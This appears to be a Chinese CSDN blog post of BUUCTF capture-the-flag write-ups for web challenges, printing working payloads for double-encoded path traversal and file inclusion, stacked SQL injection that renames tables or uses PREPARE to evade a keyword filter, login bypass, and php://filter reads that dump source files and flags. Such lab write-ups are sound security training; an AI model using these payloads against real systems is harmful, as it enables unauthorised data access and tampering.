BUUCTF-WriteUp

本文详细记录了作者参与BUUCTF比赛时遇到的Web类题目,主要涉及SQL注入、文件包含、命令执行等技术,通过源码分析、漏洞利用和解题思路展示了一系列CTF挑战的WriteUp,包括如何构造payload来绕过验证、利用PHP特性执行命令、文件操作等技巧。
摘要由CSDN通过智能技术生成

title: BUUCTF WriteUp
date: 2021-01-16 17:44:59
tags: CTF WriteUP

WEB

[HCTF 2018]WarmUp

启动环境,打开网址是一张滑稽,没什么用,看一下源码,发现有注释。

image-20210116175203912

访问source.php,直接给了源码,进行代码审计。

分两块,第一块是emmm::checkFile,里面做了一些判断。

第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。

image-20210116180701150

hint.php

image-20210116182826228

include触发的三个判断条件全为真时,include才执行。

checkFile为真

第一个if,page需要设置并且为字符串

第二个if,page需要在白名单中

_page是page从开始到?的位置截取的一段子串

第三个if,_page需要在白名单中

_page进行url解码

_page再进行相同截取

第四个if,_page需要在白名单中

所以我们构造payload的时候,需要反着来构造,需要截取,就添加,需要url解码,我们就进行编码

首先构造以下命令,保证最后_page在白名单中

?file=source.php

接下来构造出include的flag

?file=source.php?../../../../../../../ffffllllaaaagggg

然后url编码两次

?file=source.php%253F/../../../../../../../ffffllllaaaagggg

payload就构造完成了。

[强网杯 2019]随便注

开局就是一个输入框,先看看简单的注入,判断出闭合符为单引号

1' //报错
1'# //正常
1' and 1=1# //正常
1' and 1=2# //正常,false

接下来获得列数,列数为2

1' order by 1#
1' order by 2#
1' order by 3# //报错

尝试用select,发现被过滤

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

到这里就没思路了,看wp,是堆叠注入,就是一次执行多条命令,之间用分号分隔

1';show databases;#

image-20210118190706722

下来查表

1';show tables;#

image-20210118192028103

下来查字段

1';show columns from `1919810931114514`;#

image-20210118193008279

看到有个flag字段,应该就在这里

接下来是获取flag中的内容

这里有两种方法

方法一:改名

  1. 将表名words换为其他的,类似于word1
  2. 将表名1919810931114514换为words
  3. 将列名flag换为id

通过使用alter,rename,构造payload

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 

改完名之后,直接查看就可以得到flag,因为回显的数据默认是来自word表的

image-20210119104237475

方法二:预处理语句

通过使用prepare,execute,deallocate命令来绕过验证,这里是用了concat拼接

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

image-20210119105357011

[极客大挑战 2019]EasySQL1

万能密码

image-20210119110934155

image-20210119110951672

[极客大挑战 2019]Havefun1

看源码,有一段注释

image-20210119113449940

直接get传参试试,成了

image-20210119113537553

[SUCTF 2019]EasySQL1

看wp,大佬直接盲猜SQL语句

select $_POST[‘query’] || flag from Flag
*,1

直接一把梭哈

image-20210119125252021

下来是做法二:

1;set sql_mode=PIPES_AS_CONCAT;select 1

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数

[ACTF2020 新生赛]Include1

根据题目,文件包含

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

这里有点想不通为什么要用这个

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDZlYTU5ZTktMjZjNC00MTlmLTkyMzgtNDFhY2E3ZGRlMDkxfQo=
<?php
echo "Can you find out the flag?";
//flag{d6ea59e9-26c4-419f-9238-41aca7dde091}

[极客大挑战 2019]Secret File1

首先看看源码,发现有个Archive_room.php

访问,发现有一个按钮,是指向action.php,然后我们到了end.php

这一步需要抓包

image-20210119133101744

得到有一个secr3t.php

image-20210119133123261

得知flag在flag.php里面,还给了源码,代码审计,有一个include,文件包含

然后发现过滤了一些伪协议,filter可以用,像上一道题目那样构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ODQzNGQxMWUtM2M4NS00MjZjLTljOTUtYmRkNjllNjNhZjMzfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= 
<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{8434d11e-3c85-426c-9c95-bdd69e63af33}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值